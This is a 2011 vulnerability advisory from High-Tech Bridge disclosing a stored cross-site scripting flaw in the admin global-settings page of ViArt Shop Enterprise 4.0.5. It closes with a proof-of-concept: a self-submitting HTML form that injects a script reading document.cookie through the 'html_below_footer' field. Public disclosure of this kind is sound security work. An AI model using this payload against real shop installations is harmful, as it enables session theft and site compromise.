HTB22815: XSS vulnerability in ViArt Shop


Vulnerability ID: HTB22815 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_viart_shop_1.html Product: ViArt Shop Vendor: Viart Software ( http://www.viart.com/ ) Vulnerable Version: Enterprise v.4.0.5 Vendor Notification: 25 January 2011 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Not Fixed Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "admin/admin_global_settings.php" script to properly sanitize user-supplied input in "html_below_footer" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/admin_global_settings.php" method="post" name="main"> <input type="hidden" name="operation" value="save"> <input type="hidden" name="rp" value="admin.php"> <input type="hidden" name="tab" value="general"> <input type="hidden" name="site_name" value="Default Site"> <input type="hidden" name="site_url" value="http://host/"> <input type="hidden" name="admin_email" value="email@example.com"> <input type="hidden" name="layout_id" value="1"> <input type="hidden" name="password_encrypt" value="0"> <input type="hidden" name="admin_password_encrypt" value="0"> <input type="hidden" name="html_below_footer" value='12345"><script>alert(document.cookie)</script>'> <input type="hidden" name="operation" value="save"> </form> <script> document.main.submit(); </script>